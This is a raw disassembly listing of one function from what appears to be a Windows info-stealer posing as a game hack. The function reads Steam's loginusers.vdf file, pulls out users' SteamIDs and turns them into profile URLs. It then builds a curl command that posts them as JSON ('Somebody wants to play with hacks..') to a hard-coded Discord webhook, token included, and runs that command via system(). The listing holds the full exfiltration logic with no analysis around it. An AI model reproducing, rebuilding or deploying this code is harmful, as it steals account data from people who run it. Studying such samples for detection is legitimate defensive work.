Function at 0x140001e10
Capabilities:
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x378]
sub rsp, 0x450
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor r12d, r12d
mov r15d, r12d
mov dword [rsp + 0x70], r12d
lea rcx, [rbp + 0x48]
call fcn.140003100
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
mov qword [rbp + 0x58], r12
lea rcx, [rbp + 0x60]
call fcn.140003110
lea rcx, [rsp + 0x30]
call fcn.140001cd0
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140006410
nop
lea rcx, [rsp + 0x30]
call fcn.140004460
mov rbx, qword [rbp + 0x60]
mov rcx, rbx
call fcn.140004380
lea r9, [rax + 1]
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140004320
nop
lea r8, str.configloginusers.vdf
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140006480
nop
lea rcx, [rbp - 0x80]
call fcn.140004460
lea rcx, [rbp + 0x110]
call fcn.1400031e0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x110]
call fcn.140003e90
nop
cmp qword [rbp + 0x1a0], r12
je 0x1400022a0
lea rcx, [rbp + 0x88]
call fcn.1400044c0
nop
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x110]
call fcn.140007c20
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140002287
mov rdi, r12
nop dword [rax]
nop word [rax + rax]
lea r14, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
seta r13b
mov r12, qword [rbp + 0x88]
cmova r14, r12
mov rsi, qword [rbp + 0x98]
cmp rsi, 3
jb 0x14000200b
lea rax, [rsi - 3]
cmp rdi, rax
ja 0x14000200b
lea r15, [rsi + r14]
lea rcx, [r14 + rdi]
lea r8, [r15 - 2]
sub r8, rcx
mov edx, 0x37
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140002006
cmp byte [rdi], 0x37
jne 0x140001fda
cmp byte [rdi + 1], 0x36
jne 0x140001fda
cmp byte [rdi + 2], 0x35
jne 0x140001fda
xor eax, eax
jmp 0x140001fdf
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400021c3
inc rdi
lea r8, [r15 - 2]
sub r8, rdi
mov edx, 0x37
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140001fc5
mov r15d, dword [rsp + 0x70]
mov rdi, 0xffffffffffffffff
cmp rdi, 0xffffffffffffffff
je 0x140002234
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
cmp rsi, rdi
jb 0x1400030a7
sub rsi, rdi
mov r8d, 0x11
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp + 0x88]
test r13b, r13b
cmovne rdx, r12
add rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140006750
or r15d, 1
mov dword [rsp + 0x70], r15d
lea r14, [rbp - 0x60]
mov r13, qword [rbp - 0x48]
cmp r13, 0xf
seta r12b
mov r15, qword [rbp - 0x60]
cmova r14, r15
mov rsi, qword [rbp - 0x50]
test rsi, rsi
je 0x1400020ec
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x220]
call sub.VCRUNTIME140.dll_memset
lea rcx, str.1234567890
lea rbx, [0x14000a5ca]
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x220], 1
inc rcx
cmp rcx, rbx
jne 0x1400020b0
mov rbx, qword [rbp + 0x60]
lea rcx, [rsi + r14]
mov rsi, r14
cmp r14, rcx
jae 0x1400020ec
movzx eax, byte [rsi]
cmp byte [rbp + rax + 0x220], 0
je 0x1400021d0
inc rsi
cmp rsi, rcx
jb 0x1400020d3
mov rsi, 0xffffffffffffffff
test r12b, r12b
je 0x140002129
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140002121
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002280
mov rcx, r15
call fcn.140008cac
cmp rsi, 0xffffffffffffffff
jne 0x140002227
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x98]
cmp rax, rdi
jb 0x1400030a7
sub rax, rdi
mov r8d, 0x11
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rdx, qword [rbp + 0x88]
add rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140006750
mov r15d, dword [rsp + 0x70]
or r15d, 2
mov dword [rsp + 0x70], r15d
mov rdx, qword [rbp + 0x50]
cmp rdx, qword [rbp + 0x58]
je 0x1400021d8
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rdx + 0x10], xmm1
lea edx, [rsi + 0x10]
mov byte [rsp + 0x30], 0
add qword [rbp + 0x50], 0x20
jmp 0x1400021eb
sub rdi, r14
mov r15d, dword [rsp + 0x70]
jmp 0x140002012
sub rsi, r14
jmp 0x1400020f3
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.140007dc0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000222c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000221a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002280
call fcn.140008cac
inc rdi
jmp 0x140001f70
mov r15d, dword [rsp + 0x70]
inc rdi
jmp 0x140001f70
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x110]
call fcn.140007c20
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
xor r12d, r12d
jmp 0x140001f58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [rbp + 0x110]
call fcn.140003e50
nop
lea rcx, [rbp + 0x88]
call fcn.140004460
lea rcx, [rbp + 0xc8]
call fcn.1400044c0
nop
mov r14, qword [rbp + 0x48]
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x70], rax
movabs rcx, 0x7fffffffffffffff
movabs rdx, 0x8000000000000000
mov r8d, 0x16
cmp r14, rax
je 0x1400024de
nop dword [rax]
mov r13, qword [r14 + 0x10]
mov rax, rcx
sub rax, r13
cmp rax, 0x24
jb 0x1400030b3
mov r12, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140002301
mov r12, qword [r14]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea r15, [r13 + 0x24]
mov edi, 0xf
lea rsi, [rsp + 0x30]
cmp r15, rdi
jbe 0x140002390
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000233d
mov rdi, rcx
lea rax, [rdx + 0x27]
jmp 0x14000235f
cmp rdi, 0x16
cmovb rdi, r8
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000237e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400030ad
mov rcx, rax
call fcn.140008c70
test rax, rax
je 0x1400024d7
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000238b
test rcx, rcx
je 0x140002388
call fcn.140008c70
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rdi
movups xmm0, xmmword [str.https:__steamcommunity.com_profiles_]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x14000a5e0]
movups xmmword [rsi + 0x10], xmm1
mov eax, dword [0x14000a5f0]
mov dword [rsi + 0x20], eax
lea rcx, [rsi + 0x24]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
mov r8d, 1
lea rdx, [0x14000a5cc]
lea rcx, [rsp + 0x30]
call fcn.1400057b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x80]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xc8]
call fcn.1400057b0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000246d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002467
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400024d0
call fcn.140008cac
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400024a6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400024d7
call fcn.140008cac
add r14, 0x20
cmp r14, qword [rsp + 0x70]
je 0x1400024de
movabs rcx, 0x7fffffffffffffff
movabs rdx, 0x8000000000000000
mov r8d, 0x16
jmp 0x1400022e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov byte [rbp + 0x38], 0
mov qword [rbp + 0x40], r12
lea rax, [rsp + 0x50]
mov qword [rbp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140005cc0
mov byte [rsp + 0x50], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov ecx, 0x20
call fcn.140008c70
mov rdi, rax
lea rax, [rbp + 0x30]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
mov r8d, 6
lea rdx, str.Agathe
mov rcx, rdi
call fcn.140006750
nop
mov qword [rsp + 0x58], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp - 0x80]
call fcn.140006750
lea rax, [rbp - 0x80]
mov qword [rbp + 0x78], rax
movzx ecx, byte [rbp + 0x38]
test cl, cl
jne 0x1400025a6
mov byte [rbp + 0x38], 1
call fcn.1400076e0
mov qword [rbp + 0x40], rax
movzx ecx, byte [rbp + 0x38]
jmp 0x1400025aa
mov rax, qword [rbp + 0x40]
cmp cl, 1
jne 0x14000306d
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140008720
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002607
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002602
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002602
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
movzx ecx, byte [rdi + 0x40]
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 0x40], al
mov byte [rsp + 0x50], cl
mov rax, qword [rdi + 0x48]
mov rcx, qword [rsp + 0x58]
mov qword [rdi + 0x48], rcx
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140005cc0
nop
lea rax, [rsp + 0x50]
mov qword [rbp + 0x78], rax
mov r13, qword [rbp + 0xd8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x24
jb 0x1400030b9
lea r15, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r15, qword [rbp + 0xc8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
lea r14, [r13 + 0x24]
mov edi, 0xf
lea rsi, [rbp - 0x80]
cmp r14, rdi
jbe 0x140002729
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400026e3
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008c70
test rax, rax
je 0x14000270c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002725
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002713
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003061
jmp 0x1400026c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002722
call fcn.140008c70
mov rsi, rax
jmp 0x140002725
mov rsi, r12
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rdi
movups xmm0, xmmword [str.Somebody_wants_to_play_with_hacks.._n]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x14000a6b0]
movups xmmword [rsi + 0x10], xmm1
mov eax, dword [0x14000a6c0]
mov dword [rsi + 0x20], eax
lea rcx, [rsi + 0x24]
mov r8, r13
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140005cc0
mov byte [rsp + 0x50], 3
mov ecx, 0x20
call fcn.140008c70
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rsp + 0x30]
call fcn.140006750
lea rax, [rsp + 0x30]
mov qword [rbp + 0x68], rax
movzx ecx, byte [rbp + 0x38]
test cl, cl
jne 0x140002801
mov byte [rbp + 0x38], 1
call fcn.1400076e0
mov qword [rbp + 0x40], rax
movzx ecx, byte [rbp + 0x38]
jmp 0x140002805
mov rax, qword [rbp + 0x40]
cmp cl, 1
jne 0x140003027
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140008720
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002865
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002860
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002860
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
movzx ecx, byte [rdi + 0x40]
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 0x40], al
mov byte [rsp + 0x50], cl
mov rax, qword [rdi + 0x48]
mov rcx, qword [rsp + 0x58]
mov qword [rdi + 0x48], rcx
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140005cc0
nop
lea rax, [rsp + 0x50]
mov qword [rbp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140005cc0
mov byte [rsp + 0x50], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov ecx, 0x20
call fcn.140008c70
mov rdi, rax
lea rax, [rbp + 0x30]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
mov r8d, 0x1f
lea rdx, str.https:__i.imgur.com_HKWuFl9.png
mov rcx, rdi
call fcn.140006750
nop
mov qword [rsp + 0x58], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0xa
lea rdx, str.avatar_url
lea rcx, [rsp + 0x30]
call fcn.140006750
lea rax, [rsp + 0x30]
mov qword [rbp + 0x68], rax
movzx ecx, byte [rbp + 0x38]
test cl, cl
jne 0x14000296c
mov byte [rbp + 0x38], 1
call fcn.1400076e0
mov qword [rbp + 0x40], rax
movzx ecx, byte [rbp + 0x38]
jmp 0x140002970
mov rax, qword [rbp + 0x40]
cmp cl, 1
jne 0x1400030c5
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140008720
mov rdi, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140004460
nop
lea rdx, [rsp + 0x50]
lea rcx, [rdi + 0x40]
call fcn.1400042e0
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x38]
call fcn.140003fd0
nop
mov rdi, r12
nop dword [rax]
lea rsi, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
seta cl
mov byte [rbp + 0x30], cl
mov r13, qword [rbp + 0xa8]
cmova rsi, r13
mov r15, qword [rbp + 0xb8]
cmp r15, 1
jb 0x140002a4f
lea rax, [r15 - 1]
cmp rdi, rax
ja 0x140002a4f
lea r14, [r15 + rsi]
lea rcx, [rsi + rdi]
mov r8, r14
sub r8, rcx
mov edx, 0x22
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140002a4b
cmp byte [rdi], 0x22
jne 0x140002a20
mov eax, r12d
jmp 0x140002a25
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002ada
inc rdi
mov r8, r14
sub r8, rdi
mov edx, 0x22
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140002a16
movzx ecx, byte [rbp + 0x30]
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r15
cmp rax, 0x2d
jb 0x1400030bf
lea r12, [rbp + 0xa8]
test cl, cl
cmovne r12, r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor r13d, r13d
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
lea r14, [r15 + 0x2d]
mov edi, 0xf
lea rsi, [rsp + 0x50]
cmp r14, rdi
jbe 0x140002b4f
mov rdi, r14
or rdi, 0xf
cmp rdi, rdx
jbe 0x140002b08
mov rdi, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008c70
test rax, rax
je 0x140002b31
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002b4a
sub rdi, rsi
cmp rdi, 0xffffffffffffffff
je 0x140002a4b
mov qword [rsp + 0x20], 2
mov rdx, rdi
lea rcx, [rbp + 0xa8]
call fcn.1400055f0
add rdi, 2
jmp 0x1400029c0
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002b38
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003067
jmp 0x140002abf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002b47
call fcn.140008c70
mov rsi, rax
jmp 0x140002b4a
mov rsi, r13
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rdi
movups xmm0, xmmword [str.curl__H__Content_Type:_application_json___d__]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x14000a710]
movups xmmword [rsi + 0x10], xmm1
movsd xmm0, qword [0x14000a720]
movsd qword [rsi + 0x20], xmm0
mov eax, dword [0x14000a728]
mov dword [rsi + 0x28], eax
movzx eax, byte [0x14000a72c]
mov byte [rsi + 0x2c], al
lea rcx, [rsi + 0x2d]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], r13b
mov r8d, 2
lea rdx, [0x14000a6fc]
lea rcx, [rsp + 0x50]
call fcn.1400057b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1211342723823697950_SyoIRQwWqQiWelCBscsKwMorUxI3yntur7Up7qKShXT4Xztw7qeVBdv_0vRf2Ba1Fn7c
lea rcx, [rsp + 0x30]
call fcn.1400057b0
movups xmm7, xmmword [rax]
movups xmmword [rbp - 0x80], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm6
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov ecx, 0x20
call fcn.140008c70
mov rdi, rax
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm6
mov qword [rbp + 0x78], rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002c77
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002cca
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rcx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140002cea
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002d34
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002d2f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002d90
mov rcx, r8
call fcn.140008cac
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov edx, 0x20
mov rcx, rdi
call fcn.140008cac
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140002d9c
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140008cac
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
movzx edx, byte [rbp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.140005cc0
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140002e07
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x110], rax
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x10c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x120], rax
cmp qword [rbp + 0x1a0], 0
je 0x140002ea3
mov rax, qword [rbp + 0x138]
lea rcx, [rbp + 0x190]
cmp qword [rax], rcx
jne 0x140002ea3
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x158]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x170]
mov dword [rax], edx
cmp byte [rbp + 0x19c], 0
je 0x140002eb8
lea rcx, [rbp + 0x120]
call fcn.140005280
lea rcx, [rbp + 0x120]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140002f25
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008cac
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
test rbx, rbx
je 0x140002f96
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140002f79
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002f74
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
